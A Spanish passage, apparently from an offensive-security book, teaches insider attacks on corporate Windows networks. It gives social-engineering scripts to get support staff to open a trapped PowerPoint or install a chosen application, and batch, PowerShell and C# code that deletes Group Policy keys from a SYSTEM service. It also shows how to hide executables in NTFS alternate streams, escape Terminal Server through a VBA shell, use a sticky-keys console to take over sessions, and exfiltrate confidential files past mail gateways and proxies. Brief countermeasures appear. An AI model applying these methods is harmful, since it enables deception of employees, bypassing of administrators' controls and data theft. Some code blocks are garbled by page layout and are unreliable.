1. Enviar un documento de Office trucado

Nuestro primer ejemplo ser la apertura de un documento Office que contiene una macro para una persona con
permisos de administrador de sistema o de soporte. Para estar seguro de que lo ejecutar, existen dos medios
eficaces:

Modifique el fichero existente, como una hoja de Excel o un documento de perfil o cualquier otra cosa que
el objetivo seguramente vaya a abrir.
Cree un fichero que sea interesante para el objetivo, un informe de cuentas diarias, una lista de sitios
webs bloqueados o una presentacin de PowerPoint con una temtica pertinente.

Por ejemplo:

1. Tome contacto con el equipo para saber sus nombres, un poco sus gustos y que vean quin es usted.
Encuentre lo que les motiva en trminos de necesidad o de deseos.

2. Todos los viernes, para darles nimos, enve un PowerPoint con una chica sexy o una ocurrencia divertida en
vietas.

3. Una vez enviado, tome contacto de forma informal (cafetera, pasillo, soporte informtico, etc.) para efectuar
una pequea consulta, con el objetivo de asegurarse de que ha recibido el documento y sobre todo, de que lo
haya abierto. En este momento debe saber si la necesidad o el deseo elegido es el correcto para su ataque.

4. Enve una segunda presentacin a la semana siguiente, pero con un script que simplemente va a copiar un
fichero o escribir un log en alguna parte, algo que pueda controlar para asegurarse de que va a funcionar. Se trata
de saber si el objetivo tiene los privilegios suficientes para el ataque y que nada ser blo-queado.

5. El tercer viernes, el fichero PowerPoint estar trucado y tendr, por lo tanto, acceso a todo lo que le puede
interesar.

Le recordamos que es posible rodear la seguridad de las macros de un documento de Office bajo ciertas
circunstancias. Vea el captulo Tomar el rol de administrador o de sistema - Trucar un documento de Office.
2. Enviar una aplicacin trampa

Ahora vamos a hacer que una persona de soporte tcnico, con permisos suficientes, ejecute una aplicacin o que
directamente lo haga el administrador de sistema si la empresa es de tipo pyme.

Pero cmo debe proceder para que una persona de soporte o un administrador de dominio ejecute la aplicacin?

Para tener ms posibilidades de que la instalacin se lleve a cabo, debe respetar algunas reglas, que permitirn al
soporte respetar sus valores de conformidad y de bondad:

La aplicacin debe ser de utilidad: ningn administrador va a instalar una aplicacin ocasional o que
no sea til para la empresa.
La aplicacin debe tener una licencia vlida o ser gratuita: a los administradores de sistema no les
gusta que las licencias no sea oficiales, que los programas sean piratas o que el software de pago no est
incluido en la previsin de gastos.
La aplicacin debe tener una buena reputacin: debe ser conocida, ya que el administrador instalar
ms fcilmente un programa que conoce.

Para responder a estos criterios y aadir un contexto favorable, veremos cmo se puede proceder para que el
administrador ofrezca una buena cooperacin.

1. Elija una aplicacin que responda a las reglas mencionadas.

2. Cree un problema.

3. Haga que la futura aplicacin resulte importante para su trabajo. Soporte satisfar de esta forma los valores de
poder y realizacin (del inventario de los valores de Schwartz).

4. Aporte una solucin al problema, si es posible que sea gratuita y fiable. Esto le ayudar a dirigir la toma de
decisin cuando recoja informaciones para soporte.

5. Agradezca al servicio de soporte su ayuda rpida y eficaz. Haga que le llegue al equipo la respuesta positiva.

Vamos a tomar dos ejemplos aplicables preparando el terreno por correo electrnico o por telfono.

La instalacin de 7Zip:

1. La eleccin de la aplicacin es 7zip, porque es gratuita, tiene buena reputacin y nos va a ser necesaria.
2. Creo el problema: He recibido un correo electrnico de un proveedor que contiene un fichero adjunto con
extensin RAR; los ficheros RAR no los abre Windows si no se instala una aplicacin y la mayora son de pago.

3. Hago que el problema sea importante y urgente para la empresa: El fichero es importante, necesito poder
abrirlo esta maana para finalizar con este proveedor antes de dar por terminado nuestro contrato.

4. Propongo la solucin: El proveedor me ha mencionado 7zip para abrir ficheros RAR. Es gratuito y ya lo he
descargado en el sitio oficial para haceros ganar un poco de tiempo. S que tenis mucho trabajo. Espero que
aun as podis pasar esta maana para instalrmelo.

5. D las gracias como se debe al servicio de soporte.

La instalacin de GIMP:

1. La eleccin de la aplicacin es GIMP (programa de retoque fotogrfico de software libre), ya que es gratuito,
tiene una buena reputacin y nos va a ser necesario.

2. Creo el problema: Necesito retocar una imagen para un cliente y Paint no es suficiente , Paint est integrado
en Windows, pero tiene muy pocas prestaciones.

3. Hago que el problema sea importante y urgente para la empresa: Debera tener el retoque para esta tarde o
como mximo maana por la maana

4. Propongo la solucin: Ya s que se usa Photoshop, pero necesito hacer con frecuencia retoques de fotos.
Preferira que el coste de la licencia sea destinado al aumento de salario de los compaeros. Ya uso GIMP en casa,
es gratuito y para m es suficiente. Me lo he descargado desde el sitio web de GIMP. Si disponis de un momento
esta tarde, me salvarais la vida.

5. D las gracias como se debe al servicio de soporte.

Este tipo de escenario es muy sencillo y eficaz. Si desea llegar ms lejos, puede preparar con ms precisin su
ataque buscando conocer mejor a las personas que deber manipular. Cuanto ms paciente sea y ms informado
est, ms probabilidades de xito tendr su ataque.

Contramedidas
En el caso de una manipulacin, solo puede ser eficaz la sensibilizacin de los usuarios y de las personas
encargadas del soporte. Piense en organizar sesiones de formacin para los usuarios en plantilla, pero tambin
agregue este proceso de formacin a los nuevos empleados de la empresa.

Superar las polticas de grupo


1. Principio de las polticas de grupo

Las polticas de grupo estn definidas generalmente a nivel de la empresa por un administrador de dominio. Crea
reglas que son aplicadas despus a nivel del usuario o a nivel de equipo. Estas reglas, las GPO ( Group Policy
Object), se refrescan en un intervalo configurable tambin por el administrador (por defecto, 90 minutos en los
puestos de trabajo clientes). Cuando una GPO es aplicada a un software como Office o Internet Explorer, aplica las
reglas configu-radas en el arranque del programa. Al arrancar el programa, este ltimo va a leer las restricciones
en el registro y las aplica al usuario. Cuando se aplica una GPO a parmetros de sistema, el momento de la
aplicacin depender de los parmetros. Si estos parmetros se aplican a una restriccin software como la
prohibicin de usar el editor del registro o el administrador de tareas, o gestionar el cortafuegos, entonces el
principio es generalmente el mismo; es la aplicacin la que, en el momento de su apertura, leer las restricciones
aplicadas en el registro del usuario y en el registro local del equipo. Algunas funcionalidades bloqueadas por GPO
se leen nicamente en el arranque del sistema o al inicio de la sesin. Si el registro se modifica despus del
arranque, no afectar a estos parmetros.

2. Bloquear la ejecucin de las GPO

Para bloquear la aplicacin de GPO, debe impedir a la aplicacin bloqueada leer las restricciones del registro. Con
anterioridad a Windows 7, era posible definir la seguridad de las claves de registro donde se almacenaban las
restricciones e impedir al sistema que volviera a aplicar los permisos. Desde Windows 7 el sistema vuelve a
aplicar automticamente los permisos. Una de las maneras ms simples consiste, por lo tanto, en suprimir
regularmente las claves de registro. Para ello es necesario disponer de privilegios de administrador sobre el
equipo.

a. Bloquear las polticas de grupo de usuario

Para impedir la aplicacin de las restricciones a nivel de usuario, lo ideal es crear una tarea o un programa que
se ejecutar cada 2 minutos para estar seguros de que, cuando el sistema vuelva a aplicar automticamente las
restricciones, estas sern rpidamente suprimidas.

La mayora de las informaciones de bloqueo de parmetros de usuario se encuentra en la siguiente clave:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies

HKCU\Software\Policies

Eliminando el contenido de estas claves, podr de nuevo modificar el cortafuegos, abrir el editor del registro y el
administrador de tareas, modificar el salvapantallas, etc., si estas restricciones fueron aplicadas a nivel de
usuario. Si tiene permisos para ejecutar el comando reg.exe, cree un ficherogpo.bat con las siguientes lneas:

Despu
reg delete HKCU\Software\Policies\ /f s aada
una
reg delete
tarea
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies /f

planificada con los siguientes parmetros:


Indique la ruta del fichero bat.

Abra la nueva tarea planificada creada y marque la opcin Ejecutar con los privilegios ms altos.

En la segunda pestaa, modifique el disparador indicando una repeticin cada 2 minutos, como en la siguiente
imagen:

Cuando inicie su sesin, la tarea eliminar las restricciones ligadas a las polticas de grupo de usuario.

Si la poltica actual bloquea reg.exe, puede usar PowerShell para eliminar las claves del registro. Para ello, cree
un fichero GPO.bat con las siguientes lneas:
Powershell -command "&

{remove-ItemKCU:software\microsoft\windows\currentV

ersion\policies -confirm:$true}"

Powershell -command "&

{remove-ItemKCU:software\policies -confirm:$true}"

Este script tendr el mismo efecto que el anterior.

b. Bloquear las polticas de grupo del equipo

Las polticas de grupo ligadas a un equipo se instalan al arrancar dicho equipo, y se refrescan, por defecto, cada
90 minutos. Si las eliminamos despus del arranque del sistema, es posible que algunas sigan bloqueando la
configu-racin. Por lo tanto, debemos eliminarlas antes del inicio de sesin y, si es posible, con permisos
elevados. Para responder a esta problemtica, creare-mos un servicio de Windows en .NET y lo instalaremos y
configuraremos para que elimine las claves de registro con permisos de sistema.

Abra el Bloc de notas y cree el fichero gpo.txt con el siguiente cdigo:


using Microsoft.Win32;

using System;

using System.Collections.Generic;

using System.IO; El

using System.Net;

using System.Runtime.InteropServices;

using System.Security.Permissions;

using System.ServiceProcess;

using System.Text;

using System.Threading;

namespace PolicyService

[RegistryPermissionAttribute(SecurityAction.Demand)]

static class Program

static void Main()

ServiceBase[] ServicesToRun;

ServicesToRun = new ServiceBase[]

new PolicyService()

};

ServiceBase.Run(ServicesToRun);

[RegistryPermissionAttribute(SecurityAction.Demand)]

public partial class PolicyService : ServiceBase

protected override void OnStart(string[] args)

System.Timers.Timer minutero1 = new System.Timers.Timer();


servicio, en su arranque, eliminar las GPO cada 2 minutos.

Para compilar el programa, en una ventana de comandos, acceda al directorio del framework instalado en su
equipo (ver captulo Desarrollar sus propias herramientas de hacking). Despus ejecute el comando siguiente para
compilar su servicio de Windows:
Una vez
C:\Windows\Microsoft.NET\Framework64\v3.5\ el
servicio
Csc /out:c:\temp\gpo.exe c:\temp\gpo.txt
creado,
abra una
ventana de comandos con privilegios elevados e instlelo usando SC.exe:

El
sc create "Bloqueador GPO" binpath= "C:\temp\gpo.exe start= auto

servicio arrancar automticamente al arrancar el equipo y usar los permisos de sistema. Para probar el
funcionamiento del servicio, reinicie su equipo despus de la instalacin.

El nico inconveniente de este procedimiento, es que se necesitan permisos de administrador para poder instalar
el servicio. Pero una vez instalado, ya no se necesitan estos permisos.

3. Contramedidas

Para bloquear las polticas de grupo del equipo, debe ser administrador de este. Conviene, por lo tanto,
asegurarse de que los usuarios no dispongan del rol de administrador del equipo. Despus, puede bloquear las
aplicaciones como reg.exe o SC.exe, lo que impedir la modificacin del registro y la instalacin del servicio. Sin
embargo, no es suficiente, ya que reg.exe no es la nica manera de modificar el registro (regedit, PowerShell,
.NET, etc.), as como un servicio no es la nica manera de tener permisos de sistema (ver captulo Tomar el rol de
administrador o de sistema).

Sera ms sabio en estos casos autorizar solamente una lista de aplicaciones definidas usando restricciones de
software y polticas de grupo, pero esto debe realizarse antes de la instalacin del servicio pirata; si no, ser
demasiado tarde.

Rodear las restricciones corrientes


Como se habr percatado, la mayor parte de las polticas de grupo no bloquean una aplicacin, sino que es la
aplicacin la que se bloquea leyendo su restriccin en el registro. No siempre es posible modificar o suprimir las
claves de registro que limitan una actividad, ya que se necesitan permisos suficientes en el sistema. Microsoft
propone a los administradores otras herramientas distintas de las GPO para forzar un determinado funcionamiento;
por ejemplo, Preferencias, AppLocker o el despliegue de las claves de registro por medio de scripts en el inicio de
sesin.

Los usuarios tienen tambin medios para rodear las restricciones clsicas configuradas. Entre estos medios
integrados en el sistema operativo, tenemos:

La ventana de comandos.
PowerShell.
La creacin de un programa .NET que usa o no WMI, y la compilacin.
La creacin de una macro en un documento de Office.
La creacin de un script VBS que utiliza, segn el caso, WMI.
El sistema operativo contiene todo lo necesario para rodear las restricciones impuestas por una directiva. Si el
usuario es administrador de su equipo, las polticas de grupo podrn ser rodeadas o eliminadas en su casi totalidad.
Vamos a enumerar las ms frecuentes, as como los medios ms utilizados para rodearlas.

1. El explorador de Windows

El explorador de Windows est totalmente integrado en el sistema. Lo usa en cuanto navega por sus carpetas. El
administrador puede elegir esconder o impedirle acceder a un disco aplicando una directiva de grupo. Aqu no se
trata de la seguridad definida con NTFS, sino del acceso a todo un disco.

a. Principio de funcionamiento

Como ha podido ver en el apartado anterior, cuando el sistema operativo aplica una directiva de grupo, escribe
estas informaciones en el registro. Las claves de registro que corresponden a este bloqueo son las siguientes:

HKCU\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer

"NoDrives"=dword:00000001

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer

"NoViewOnDrive"=dword:00000001

HKLM\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer

"NoDrives"=dword:00000001

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\explorer

"NoViewOnDrive"=dword:00000001

Las restricciones pueden estar escritas en los parmetros del usuario o en los del equipo. Cuando se aplica la
directiva, el explorador, al abrirse, va a leer esta clave de registro y a mostrar o permitir todo lo que no est
bloqueado.
b. Rodear para explorar los ficheros

Es el explorador quien le impide ver el disco y lo que se encuentra en l. Basta con coger otra herramienta para
tener un acceso completo.

Puede usar la lnea de comandos con dir para mostrar las carpetas y directorios. Use CD para acceder a un
directorio.

C:\>dir

El volumen de la unidad C es Disk+

El nmero de serie del volumen es: 3EC5-30B9C

Directorio de C:\

02.05.2013 11:08 <DIR> ExchangeBPALogs

19.02.2013 20:55 <DIR> inetpub

19.11.2012 17:06 <DIR> Intel

Puede tambin usar PowerShell con los comandos ls, dir o get-child-Item.

Si
PS C:\> get-childitem

Directorio : C:\

Mode LastWriteTime Length Name

---- ------------- ------ ----

d---- 02.05.2013 11:08 ExchangeBPALogs

d---- 19.02.2013 19:55 inetpub

d---- 19.11.2012 16:06 Intel

puede descargar programas, puede buscar una herramienta como Multi Commander, que es gratuita y existe
en versin portable. Puede instalarla sin permisos de administrador.
Existen en Internet otras herramientas con las mismas funciones.

2. El registro

El sistema operativo usa el registro como una base de datos; all almacena y recupera mucha informacin. Parte
de esta informacin podra ser susceptible de lectura o modificacin. Es por eso por lo que un administrador
puede considerar el bloqueo de la edicin del registro aplicando una poltica de grupo.

a. Principio de funcionamiento

Cuando una directiva de grupo es aplicada para impedir la edicin del registro, el principio que se pone en
marcha es el mismo que para el explorador de Windows. Es el programa Regedit, regedt32 o tambin el
programa de lnea de comandos reg.exe el que va a leer en el registro, a su apertura, si tiene o no el permiso
de ejecutarse.

Al utilizar una de estas herramientas, obtendr un mensaje explcito.

Se aplica este bloqueo con una de las dos claves de registro siguientes:
b.
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System Las
"DisableRegistryTools"=dword:00000001

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System

"DisableRegistryTools"=dword:00000001

modificaciones para ver o modificar el registro

Cuando la edicin del registro est bloqueada por una directiva de grupo, es imposible
ejecutarRegedit.exe o regedt32.exe. El comando reg tampoco funciona. Sin embargo, PowerShell permite
leer las informaciones sin ningn problema.

Abra PowerShell y escriba el comando siguiente:

PS H:\> Get-ChildItem HKCU:software\microsoft\windows\currentVersion\policies

Hive: HKEY_CURRENT_USER\software\microsoft\windows\

currentVersion\policies

Name Property

---- --------

Explorer NoDriveTypeAutoRun : 145

NoViewOnDrive :2

System DisableTaskMgr :1

DisableRegistryTools : 1

Puede observar que se puede recorrer el registro independientemente de la limitacin. Con permisos de
administrador en su equipo, puede, a pesar de la restriccin, suprimir una clave de registro, como por ejemplo
la que nos impide arrancar regedit.exe.

Abra PowerShell con permisos de administrador.

Y
remove-Item el

HKCU:software\microsoft\windows\currentVersion\policies\system

resultado despus de la eliminacin:


PS H:\> get-ChildItem

HKCU:software\microsoft\windows\currentVersion\policies

Hive: HKEY_CURRENT_USER\software\microsoft\windows\

currentVersion\policies

Name Property

---- --------

Explorer NoDriveTypeAutoRun : 145

NoViewOnDrive :2

PS H:\>

Ahora puede arrancar el editor del registro, as como el administrador de tareas.

Puede tambin descargarse y usar un programa portable, como Registry Commander.

La restriccin solo se aplica al editor del registro integrado en Windows. Existen suficientes soluciones para que
pueda encontrar una que le convenga.
3. El administrador de tareas

Un programa de seguridad puede ser detectado y parado gracias al administrador de tareas; permite mostrar y
parar procesos y servicios. Un administrador puede elegir, entonces, bloquearlo usando una directiva de grupo.

a. Principio de funcionamiento

El administrador de tareas, en su arranque, lee el registro para controlar si tiene permiso para ejecutarse.
Cuando la directiva de grupo se aplica, el administrador de tareas se desactiva. Las claves de registro son ledas
por la aplicacin.

b.
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System Las
"DisableTaskMgr"=dword:00000001

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System

"DisableTaskMgr"=dword:00000001

modificaciones para ver, destruir o crear un proceso

Para ver los procesos en ejecucin en su equipo o un equipo remoto, utilice tasklist:

tasklist /fo list

Para parar un proceso local o remoto, use taskkill con el PID o el nombre del proceso.

Taskkill /pid 2321

Taskkill /im notepad.exe

Vemos en la siguiente imagen el administrador de tareas bloqueado y la lnea de comandos funcionando.

Si el administrador ha tomado la decisin de bloquear tasklist y taskkill, puede usar WMI en la lnea de
comandos. Ejecute Wmic.exe y despus process.
C:\>wmic

wmic:root\cli>process

Caption CommandLine

System Idle Process

System

smss.exe

csrss.exe

wininit.exe

services.exe

lsass.exe

svchost.exe

Puede arrancar tambin un proceso con el comando Wmic:

O
wmic process call create mspaint.exe

tambin parar uno:

C:\>wmic process where (Name="mspaint.exe") delete

Eliminando el proceso

\\PCWOLW8000\ROOT\CIMV2:Win32_Process.Handle="828"

La eliminacin del proceso ha terminado.

PowerShell permite tambin ver los procesos:

PS C:\> Get-Process

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName

------- ------ ----- ----- ----- ------ -- -----------

armsvc

97 8 7004 8716 37 0,22 6744 audiodg

51 8 2344 6452 59 0,42 4592 conhost

164 26 4780 14908 104 0,90 2632 Control Center

469 15 2328 5268 54 616 csrss

414 18 2332 44304 89 8472 csrss

443 34 11476 23448 127 2852


Arrancar uno:

Y
Start-Process notepad.exe

pararlo:

4.
Stop-Process -Name notepad

Gestin de ficheros con FSRM

Al instalar un servidor de ficheros, a partir de Windows Server 2003 R2, es posible configurar, por parte de los
administradores, la herramienta para gestionar mejor las carpetas compartidas, as como los ficheros que
contienen. Esta herramienta da a los administradores la posibilidad de definir una cuota por carpeta y por usuario,
bloquear tipos de ficheros, tener informes sobre el contenido, definir acciones personalizadas, como enviar un
correo electrnico cuando un usuario malintencionado trata de aadir un fichero prohibido en un espacio de
almacenamiento protegido.

a. Principio de funcionamiento

Esta herramienta se basa en reglas donde el administrador define quin y qu tipo de ficheros son bloqueados
en una carpeta y sus subcarpetas. El administrador puede basarse en grupos predefinidos o crear los suyos
propios. Lo que es importante comprender en este tipo de bloqueo es que el sistema operativo se basa en la
extensin del fichero que es escrito o copiado en la carpeta compartida. Cuando trata de guardar una imagen,
aparece un mensaje:

b. Esconder un fichero con la ayuda de otro documento

Para rodear este bloqueo, basta con renombrar el fichero que desee guardar en la carpeta compartida para
cambiar la extensin. Es muy simple, pero esto presenta la desventaja de tener que renombrar el fichero cada
vez que desea abrirlo.

Puede rodear este problema de forma ms sencilla incluyendo sus ficheros en un fichero zip. Si las extensiones
de tipo zip son bloqueadas, renombre el fichero con la extensin de un documento de Office, como DOCX, antes
de copiarlo en la carpeta compartida.
Los ficheros DOCX y las nuevas extensiones de Microsoft Office desde 2007 son realmente ficheros zip.
Puede probarlo renombrando un documento Word con extensin .docx a .zip y abrirlo. Los ficheros zip que se
renombran a docx son difcilmente detectables.

Tambin puede rodear este bloqueo copiando sus ficheros directamente en un documento de Word o tambin en
Wordpad. Sus ficheros sern mucho ms discretos y sencillos de acceder.

Para ello, abra Wordpad, seleccione los ficheros, cpielos y pguelos en el documento.

Guarde el documento en la carpeta compartida. No ser bloqueado.

c. Esconder un fichero con los flujos alternativos

El sistema de ficheros NTFS permite aadir informaciones alternativas en un fichero o una carpeta. Este tipo de
flujo es usado por los sistemas operativos para definir metadatos.

Puede usar los flujos alternativos como solucin para rodear las restricciones de software, pero los flujos
alternativos son ms sencillos de detectar con las herramientas de base que los ficheros embebidos en un
documento o una imagen. Los flujos alternativos no son tan explotables como lo eran en el pasado, con
Windows XP. Por ejemplo, ya no es posible ejecutar una aplicacin directamente desde un flujo alternativo.

Para esconder un fichero en otro documento o carpeta, utilice el comando:

Type miAplicacion.exe > N:\carpeta\documento.doc:app.exe

Para ejecutar la aplicacin, debe crear un enlace simblico con el programa escondido; esto funciona
correctamente en Windows 7. Windows 8 no permite los enlaces simblicos sobre un ADS ( Alternate Data
Stream).

Ejecute el comando con permisos de administrador:


Ejecute
mklink c:\temp\c.exe N:\carpeta\documento.doc:app.exe el enlace

simblico:

C:\temp\c.exe

Para leer y escribir ficheros, puede usar un script VBS.


Para escribir, cree un nuevo fichero VBS con el Bloc de notas.

Dim FSO

Set fso = CreateObject("Scripting.FileSystemObject")

1 para leer 2 para escribir

Set f = fso.OpenTextFile("c:\temp\ecr.txt:test", 2,true)

f.write("Hola")

Para leer el fichero, haga lo mismo con el siguiente cdigo:

Set oFso = CreateObject("Scripting.FileSystemObject")

Set fi = oFso.OpenTextFile("c:\temp\ecr.txt:test", 1)

ts = fi.ReadAll -- Lee la totalidad del fichero

Msgbox(ts)

fi.close

Para extraer un fichero exe desde un ADS:

Set fi = oFso.OpenTextFile("c:\temp\test.txt:calc.exe", 1)

ts = fi.ReadAll -- Lee la totalidad del fichero

Set f = fso.OpenTextFile("c:\temp\test4.exe", 2,true)

f.write(ts)

f.close

Para ejecutar desde VBS:

d.
set shl = createobject("wscript.shell" )

shl.run "c:\temp\test4.exe"

Encontrar los flujos alternativos

Con el explorador de Windows, no encontrar ms que los ficheros normales, como documento.docx en la
imagen siguiente. Los flujos alternativos no se muestran.
Para mostrarlos, debe usar el comando dir /r. Este comando est disponible desde Windows Vista.

C:\temp>dir /r Ads

El volumen de la unidad C no tiene etiqueta.

El nmero de serie del volumen es: C0FA-8053

Directorio de C:\temp\Ads

25/07/2014 19:53 <DIR> .

25/07/2014 19:53 <DIR> ..

25/07/2014 19:52 0 documento.doc

0 documento.doc:app.exe:$DATA

25/07/2014 19:43 0 test

0 test:test.exe:$DATA

2 archivos 0 bytes

2 dirs 17.382.735.872 bytes libres

Este comando tiene la desventaja de mostrar los flujos alternativos, pero tambin todos los dems ficheros. Le
proponemos el cdigo .NET siguiente, con el que obtendr un programa basado en dir y que muestra
nicamente los flujos alternativos.

Cree un nuevo documento de texto ADS.txt con el siguiente cdigo:


using System;

using System.Collections.Generic;

using System.Text;

using System.Diagnostics; Acceda


al
using System.IO;

namespace ADS_Reader

class Program

static string rutaBase = @"c:\";

static string VariableDir = @"Directorio de ";

static void Main(string[] args)

try

if (args.Length > 0)

rutaBase = args[0].Trim();

else

Console.WriteLine("Especifique la ruta a

probar como argumento.");

catch { }

Console.WriteLine("Por favor espere.");

Process p = new Process();

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.UseShellExecute = false;

p.StartInfo.Arguments = "/c dir " +rutaBase +" /r /s";

p.StartInfo.FileName = "cmd.exe";

p.Start();
directorio del framework instalado en su sistema operativo:

Cd C:\Windows\Microsoft.NET\Framework\v3.5

csc /out:c:\temp\ads.exe c:\temp\ads.txt

Una vez el fichero compilado, para ejecutarlo, indique el nombre del programa y como parmetro la carpeta de
inicio de anlisis.

El
Ads.exe c:\temp\ads\

programa devolver nicamente las carpetas y los ficheros que contengan flujos alternativos.

Como ha podido ver, los flujos alternativos son interesantes, no siempre sencillos de poner en marcha y muy
sencillos de detectar.

5. Ejecutar otras aplicaciones que no sean las previstas en un Terminal Server

Un Terminal Server permite instalar una aplicacin que se ejecuta en el servidor. El usuario no necesita instalar la
aplicacin en su equipo. Podr utilizarla desde el TS (Terminal Server) y, dependiendo del modo de despliegue,
podr tambin ejecutar la aplicacin desde un sitio web. Este modo de ejecucin evita problemas de despliegue
de aplicaciones y de migracin, y permite trabajar con aplicaciones profesionales en equipos privados, ya que
nada se instala en estas. Este modelo permite tambin conectarse local o remotamente por una pasarela web
Terminal Server.

a. Principio de funcionamiento

Los administradores que despliegan aplicaciones por las WebApp de Microsoft pueden definir qu usuario ve qu
aplicaciones en sus accesos directos. El objetivo es de no dejar todas las aplicaciones a todo el mundo, ya sea
por razones de licencias o de seguridad.
b. Rodear con un acceso directo

El error es creer que el atajo presentado es el nico modo de ejecutar un programa. Desde la mayora de los
programas publicados es posible explorar el sistema. Por ejemplo, en Word, basta con guardar un documento
para poder navegar por las carpetas.

Para ejecutar otra aplicacin distinta de la prevista, aada un acceso directo al guardar su documento. Haga clic
con el botn derecho del ratn en la zona donde se encuentran normalmente los ficheros guardados, despus
cree un acceso directo. El acceso directo apuntar a cmd.exe o powershell.exe.

En la misma ventana, en vez del nombre del fichero, escriba * un asterisco, y pulse la tecla [Intro]. Esto tendr
por efecto mostrar todos los ficheros de la carpeta incluyendo los accesos directos.
Haga clic en el acceso directo con el botn derecho del ratn y despus en Abrir.

Recuerde que es posible desde la lnea de comandos o desde PowerShell arrancar otra aplicacin, editar el
registro, descargar una aplicacin, etc.
c. Rodear con un documento de Office

En la medida en que su Terminal Server le da la posibilidad de abrir una aplicacin como Word de la suite Office o
Writer de la suite OpenOffice, podr, para abrir otra aplicacin, crear una macro en VBA (Visual Basic for
Applications).
Abra Microsoft Word y haga clic en Archivo - Opciones. En la pestaa Personalizar cinta de opciones, marque,
en la columna de la derecha, el men Desarrollador y haga clic en Aceptar.

Una vez haya vuelto al documento, haga clic en la pestaa Desarrollador y aada un botn en su documento
desde la parte de Controles.

Active el Modo Creacin, y haga doble clic en el botn para aadir el siguiente cdigo:
Guarde,
Private Sub CommandButton1_Click() cierre la
ventana
x = Shell("powershell", vbNormalFocus)
de
cdigo,
End Sub

desactive el Modo Creacin y haga clic en el botn creado.


La consola PowerShell se abre. Tiene ahora la posibilidad de realizar muchas ms tareas que con el Terminal
Server, como explorar y modificar los ficheros, el registro, etc.

d. Rodear con el login

En la medida en que ya ha hecho que el administrador del servidor de Terminal Server ejecute una aplicacin
trampa (tcnica descrita en el captulo Tomar el rol de administrador o de sistema), podr conectarse al Terminal
Server sin login o usando el login de una sesin bloqueada.

Para ello, en el Terminal Server, al solicitar la contrasea, pulse 5 veces seguidas la tecla [Mays]. Tambin
puede, si tiene permiso para autenticarse, loguearse y pulsar [Crtl][Alt][Fin]. Esta combinacin de teclas
produce el mismo efecto que [Crtl][Alt][Supr] en un PC normal. En esta ventana tambin puede pulsar 5 veces
la tecla [Mays]. Esto abrir una ventana de comandos con los privilegios de sistema.

Una vez abierta la consola, ejecute taskmgr.exe para acceder al administrador de tareas con permisos de
sistema.

Vaya a la pestaa Usuarios y, con el botn derecho del ratn, haga clic en Conectarse a en la sesin
desconectada que le interese abrir.

Se abrir la sesin sin solicitarle la contrasea. Esto forma parte de los privilegios atribuidos a la cuenta de
sistema.
6. Pasarela de mail

Algunas empresas ponen en marcha sistemas para evitar el robo de datos. Bloquean los puertos USB, impiden la
grabacin de CD, instalan proxies y pasarelas de correo.

Una pasarela de mail es puesta en marcha por un administrador de red con el fin de impedir que los correos de
spam y los correos malintencionados lleguen a la red interna de la empresa, lo que es una buena prctica. Este
tipo de software se utiliza tambin para impedir la extraccin de ficheros confidenciales. Un producto como este se
basa en la clasificacin de los documentos o en la extensin de los ficheros que lo atraviesan para autorizar o
bloquear su salida.

a. Principio de funcionamiento

Una pasarela de mail se instala entre el servidor de correo y la conexin a Internet. Los correos salientes son
automticamente enviados al programa, analizados por este ltimo y, si se detecta un documento importante, el
correo electrnico se bloquea. Este sistema permite, por lo tanto, evitar el robo de documentos por correo
electrnico.

b. Rodear para filtrar ficheros

El correo electrnico pasa por la pasarela solo en el momento del envo. Para filtrar ficheros, basta con crear un
correo, aadirle los ficheros que queremos filtrar y guardarlo como borrador sin enviarlo. Una vez en el exterior
de la empresa, abra el webmail y descargue el fichero confidencial. El correo no ser bloqueado, ya que no
habr pasado por la pasarela. Tambin puede esconder el documento en otro documento. Para ello, cree un
fichero zip y cpielo en un documento .doc como hemos visto en el apartado Gestin de ficheros con FSRM.

7. Proxy Web

En una empresa, una proxy web tiene varias funciones. Una de las principales es ofrecer una cach para las
pginas web descargadas con el fin de acelerar la navegacin. La segunda es definir reglas de salida para los
sitios web autorizados o bloqueados. Un servidor como este permite a la persona que navega estar segura dando
la IP del proxy en vez de la suya en el seno de la empresa. Analiza, para garantizar la seguridad de la empresa, el
trfico recibido y enviado.

a. Principio de funcionamiento

Un proxy web se sita entre el navegador del cliente y la conexin a Internet. Es el proxy quien resuelve los
nombres en direcciones IP. El DNS (Domain Name System) del cliente no tiene, por lo tanto, ninguna influencia
en la resolucin de nombres. El trfico analizado es principalmente HTTP, FTP y en ocasiones HTTPS. La conexin
se establece entre el navegador y el proxy, y una nueva conexin se crea entre el proxy y el sitio web. El trfico
saliente es en ocasiones analizado para evitar el robo de ficheros.

En el caso de HTTPS, el trfico es, por defecto, directamente enviado al servidor sin ser analizado. El anlisis de
los flujos HTTPS es ms complejo de poner en marcha y alguna vez se considera como intrusivo.
b. Rodear para cargar o descargar ficheros

En el caso de la extraccin de ficheros confidenciales o la descarga de ficheros normalmente bloqueados, se


pueden separar dos casos principales: analizando o sin analizar el flujo HTTPS.

Si el servidor proxy no analiza el trfico HTTPS, basta con cargar los ficheros que se han de extraer o descargar
un fichero normalmente bloqueado en un servidor usando una conexin segura. Si no dispone de una, puede
utilizar SkyDrive. Vaya a la URL https://skydrive.live.com/, regstrese y cargue o descargue sus ficheros. El sitio
de Microsoft soporta la conexin con HTTPS de forma nativa.

Si el servidor proxy analiza el trfico HTTPS, el procedimiento es un poco diferente. En el anlisis del trfico
HTTP o HTTPS, cada peticin de carga de un fichero es transmitida al proxy que lo analiza, y crea una nueva
conexin hacia el sitio web remoto si no se detecta nada anormal. En la descarga, el fichero es almacenado en
general en el proxy, analizado por el servidor y transmitido al usuario si el fichero no es clasificado como
peligroso. Debemos, por lo tanto, esconder el fichero o impedir un posible anlisis. Aadir su fichero en un
fichero zip no es suficiente, ya que ser analizado. Si indica una contrasea en su fichero zip, ser en la mayora
de los casos bloqueado. Una de las mejores maneras es disimular su fichero en un documento de Office, como
un .doc, usando Word o WordPad. El mtodo est descrito en el apartado Gestin de ficheros con FSRM.

